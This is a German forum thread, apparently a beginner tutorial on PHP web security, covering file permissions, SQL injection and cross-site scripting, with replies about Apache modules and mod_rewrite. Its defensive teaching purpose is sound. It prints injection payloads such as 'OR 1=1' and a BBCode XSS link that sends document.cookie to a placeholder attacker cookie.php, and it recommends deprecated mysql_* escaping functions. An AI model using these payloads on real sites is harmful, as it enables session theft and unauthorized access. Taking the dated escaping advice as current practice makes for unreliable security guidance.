!! Etwas zur Sicherheit !!

  • Hallo zusammen, habe mal wieder langeweile und habe mich entschieden hier ein paar tips zum Thema Sicherheit zu Posten !

    Dateiattribut

    Den größten Fehler den Anfänger machen ist Ihre Scripte der ganzen Welt zugänglich zu machen mit dem Dateiattribut 777 ( Chmod ) , dann haben noch einige keine Index.htm Datei in Ihrem root Verzeichnis, und so kann sich ein Angreifer in aller ruhe im Dateisystem umschauen ! Wenn der Angreifer eine Datei findet die sql oder My Connect.php heist wird er versuchen diese auszulesen mit fsockopen da die Datein den Attribut 777 haben sind diese Dateien auch für die Öffentlichkeit zugänglich und er kann sie auslesen, umschreiben oder sogar löschen ! Damit bekommt er unter umständen eure
    Zugangsdaten für die Datenbank das noch verherende folgen haben kann als wenn der Angreifer nur die Datei umschreibt !

    Zudem solltet Ihr eure wichtigsten Dateien wie z.b. Dateien die eure Zugangsdaten für die Datenbank enthalten nicht connect, admin oder sql.php usw. nennen denn Logischerweise möchte man mit der robots.txt Datei verhindern das Suchmaschienen die durchsuchen nicht weil der crawler die auslesen könnte nein weil der crawler dort nichts zu suchen hat ! Worauf ich hinaus will ist das Hacker als erstest in diese Datei schauen um wichtige Daten zu finden wenn man z.b. eine Index.php Datei im root Verzeichnis hat und er es nicht einsehen kann !

    MySQL

    SQL - Injection:

    Nehmen wir an das wir eine HP haben wo der Content aus eine Datenbank kommt !

    Daher haben wir z.b. solche Links mit fogende Adresse

    index.php?cat=Startseite

    Der Code um die Einträge aus der Datenbank zu holen könnte so aussehen :

    Code
    //connection usw.
       $sql="SELECT * FROM Contents WHERE id='".$_GET['cat']."' LIMIT 1";
       $result=mysql_query($sql)or die(mysql_error());
       $row=mysql_fetch_assoc($result);
    
    
       echo$row['Inhalt'];

    So sollte man das auf gar kein fall machen !

    Nur wie Lösen wir das Problem ? Die folgenden funktionen sollten hilfreich sein :

    mysql_real_escape_string, get_magic_quotes_gpc und die methode Typcasting !

    wie folgt

    Mit der Methode Tycasting (INT) können wir verhindern das der User den
    Parameter Manipuliert da nur noch eine Zahl möglich ist, wenn der Parameter keine Zahl ist wird eine Fehlermeldung ausgeben und das Script wird abgebrochen ! Deshalb solltet Ihr immer Primary Key`s ( ID ) für Einträge nehmen ! Die Links sehen dann so aus :

    index.php?cat=37


    Denn es ist möglich das ein Angreifer sich alle einträge zeigen lässt z.b. so :

    Code
    $sql="SELECT * FROM Contemts WHERE id=0 OR 1=1 ";

    somit ist die WHERE Klausel immer wahr !

    die Linkadresse könnte so aussehen :

    index.php?cat=0+OR+1=1

    Und die oben genannte Lösung kann solch eine Manipulation verhindern !
    Ein Angreif könnte sonst z.b. mit der Funktion UNION auch SQL Anweisungen verknüpfen ( einfach über den GET Parameter mit dran hängen )

    Wenn man User Eingaben an die Datebank verschicken muss sollte man die eingaben immer Filtern z.b. so :

    Code
    $sql="SELECT * FROM Login WHERE user='".mysql_real_escape_string($_GET['user'])."' AND       pass='".mysql_real_escape_string($_GET['pass'])."' LIMIT 1";

    Damit schützt man sich vor Angriffen dieser art :

    Code
    $_GET['user']='webcool';
    
    
        $_GET['pass']='' OR ''='';

    Mit diesen Manipulierten Parametern kann der Angreifer sich ohne Passwort einloggen wenn man die Eingaben nicht mit mysql_real_escape_string überprüft !

    XSS (Cross-Site-Scripting)

    XSS ist sehr weit verbreitet, meistens sind Foren davon betroffen !

    Wenn man eine Usereingabe erwartet sollte man Sie für die Anzeige auf dem Bildschirm vorbereiten.

    z.b so:

    Code
    echo htmlspecialchars(strip_tags($_GET['Eingabe'], ENT_QUOTES));

    Mit der Funktion strip_tags() Filtern wir alle SGML-Tags also alles was zwischen < und > Steht.

    Und mit dem Optionalen Parameter ENT_QUOTES geben wir an wie PHP diese " und diese ' Zeichen Filtern soll.

    Mit htmlspecialchars() wandeln wir diese < > und z.b. dieses & Zeichen in HTML um ( &amp; )!

    Denn es ist auch möglich JavaScript-Codes ohne den <Script> Tag einzubinden.

    Ein XSS-Angriff in einem Forum könnte so aussehen:

    Code
    [url='javascript:location.href='http://www.hier die URL wo das Script liegt der die COOKIES speichert.de/cookie.php?do='+document.cookie;']Suchst du was ?[/url]

    Aber in diesen Forum könnt Ihre diesen Trick knicken und in den meisten anderen auch, dieses Problem haben nur ältere Versionen der gängigen PHP-Foren.

  • Ja kann man apache_get_modules() liefert ja ein array mit den möglichen modulen zurück, wenn die function nicht zur verfügung steht gibts ein nettes Beilspiel auf der manual seite wie man das noch lösen kann !

  • schau mal in der phpinfo nach, da sollte das auch stehen (tuts bei mir zumindest =) )
    sonst ist das tutorial recht anschaulich gemacht!

    Sei immer du selbst. Außer du kannst Batman sein. Sei immer Batman!

  • Beim Beispiel wie man es nicht machen sollte steht mysql_quer( statt query.

    ModRewrite:

    Wenn der Server es unterstützt kann man schöne URLS's machen ;)

    Apache Configuration
    RewriteEngine On
    RewriteRule ^index\.html$ index.php?s=0 [L]
    RewriteRule ^news\.html$ index.php?s=1 [L]


    Der User sieht index.html aber im Hintergrund läuft es über index.php?s=0.
    So als kleines Beispiel